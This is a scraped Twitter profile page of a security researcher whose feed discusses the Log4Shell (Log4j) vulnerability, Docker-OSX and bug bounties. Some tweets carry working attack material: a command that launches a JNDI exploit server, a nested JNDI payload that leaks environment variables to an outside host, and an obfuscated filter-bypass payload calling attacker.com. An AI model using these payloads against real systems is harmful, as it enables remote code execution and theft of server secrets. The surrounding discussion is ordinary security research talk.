Sick.Codes

@sickcodes

Weaponizing source code vulnerabilities publishing research maintaining open source ordnance on GitHub Made Docker-OSX/iOS

sick.codes
Регистриран през юни 2020 г.
586 Снимки и видеоклипове Снимки и видеоклипове

туита

Блокираш @sickcodes

Наистина ли искаш да видиш тези туитове? Това няма да разблокира @sickcodes

  1. Закачен туит
    15.11

    Finally added the rest of the gang to Docker-OSX macOS VM's on Linux & Windows (WSL2 btw)! Full house of VM's for security research: - Monterey - Big Sur - Catalina - Mojave - High Sierra Discord Telegram

    15 replies 270 ретуита 976 харесва
    Показване на тази нишка
    Показване на тази нишка
    Отмяна
  2. ретуитна
    преди 23 часа

    so fixing log4shell is great and all, but.. wouldn't it be amazing if we all just promised to be nice and instead use this power to make vanilla minecraft doom server

    44 replies 1 257 ретуита 3 726 харесва
    Показване на тази нишка
    Показване на тази нишка
    Отмяна
  3. ретуитна
    преди 11 часа

    lol triggered a token messing around in

    4 replies 6 ретуита 21 харесва
    Отмяна
  4. ретуитна
    преди 14 часа

    lmaoooo who did this?!?!?!? Somebody executed an RCE in the middle of PPV

    14 replies 59 ретуита 283 харесва
    Показване на тази нишка
    Показване на тази нишка
    Отмяна
  5. преди 13 часа

    Free ugly af wallpaper to remind you to either: - patch - find vulns

    1 reply 4 ретуита 26 харесва
    Отмяна
  6. ретуитна
    преди 21 часа
    В отговор до

    ufw allow 80 ufw allow 1389 docker run -it \ -p 1389:1389 \ -e LDAP_PORT=1389 \ -p 80:80 \ -e HTTP_PORT=80 \ sickcodes/jndiexploit Works fine however target (app) needs trustURLCodebase set to false

    8 ретуита 36 харесва
    Отмяна
  7. ретуитна
    11.12

    Wohooo, Me and just got awarded a bounty of $15,000 on for log4j RCE , I love how some companies treat zero days

    15 replies 36 ретуита 415 харесва
    Отмяна
  8. ретуитна
    10.12

    the duality of man

    12 replies 32 ретуита 246 харесва
    Отмяна
  9. 11.12

    Yeah just running some PoCs, the environment variable exposure is cool and all but seems you need to get crafty as fuck for RCE trustURLCodebase needs to be true... ergo app dependant RCE in non-default(?) Noteworthy:

    6 харесва
    Отмяна
  10. ретуитна
    11.12

    Starting to think that making remote code execution a core feature in Java might not have been the best design choice.

    18 replies 80 ретуита 841 харесва
    Отмяна
  11. 11.12

    Please STOP we are on
    1 ретуит 7 харесва
    Отмяна
  12. ретуитна
    11.12

    I just had one H1 bug bounty program ask everyone to immediately stop testing for log4j. I just had another H1 program ask for people to specifically find all the log4j they can. Very interesting responses.

    3 replies 5 ретуита 98 харесва
    Отмяна
  13. ретуитна
    11.12

    Forget Cyber Export Laws, we're sending 0-Days to Mars!

    Did you know that Ingenuity, the Mars 2020 Helicopter mission, is powered by Apache Log4j?
    2 replies 54 ретуита 145 харесва
    Отмяна
  14. 11.12

    . reckon you could make it just a tiny bit easier to log in on mobile? Chatbot overlays the cookie button which overlays the login button

    2 replies 1 ретуит 6 харесва
    Отмяна
  15. ретуитна
    10.12

    A story in three parts

    50 replies 1 012 ретуита 3 514 харесва
    Показване на тази нишка
    Показване на тази нишка
    Отмяна
  16. ретуитна
    10.12

    21 replies 853 ретуита 4 089 харесва
    Отмяна
  17. ретуитна
    10.12

    In case anyone hasn't discovered this. The Log4J formatting is nestable which means payloads like ${jndi:ldap://${env:user}.xyz.collab.com/a} Will leak server side env vars!

    18 replies 635 ретуита 2 594 харесва
    Отмяна
  18. ретуитна
    11.12

    spent all fucking day, but I finally did it

    10 replies 36 ретуита 418 харесва
    Показване на тази нишка
    Показване на тази нишка
    Отмяна
  19. ретуитна
    11.12

    If you're filtering on "ldap", "jndi", or the ${lower:x} method, I have bad news for you: ${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a} This gets past every filter I've found so far. There's no shortage of these bypasses.

    26 replies 773 ретуита 2 629 харесва
    Отмяна
  20. 11.12

    9 харесва
    Отмяна
  21. ретуитна
    11.12

    So some notes on the log4j vuln from having worked with on testing various things 1/??

    2 replies 43 ретуита 129 харесва
    Показване на тази нишка
    Показване на тази нишка
    Отмяна

Потребителят @sickcodes още не е туитвал.

Изглежда зареждането отнема известно време.

Twitter може да е претоварен или да изпитва моментно затруднение. Опитай отново или виж Twitter Status за повече информация.

    Може също да харесаш

    ·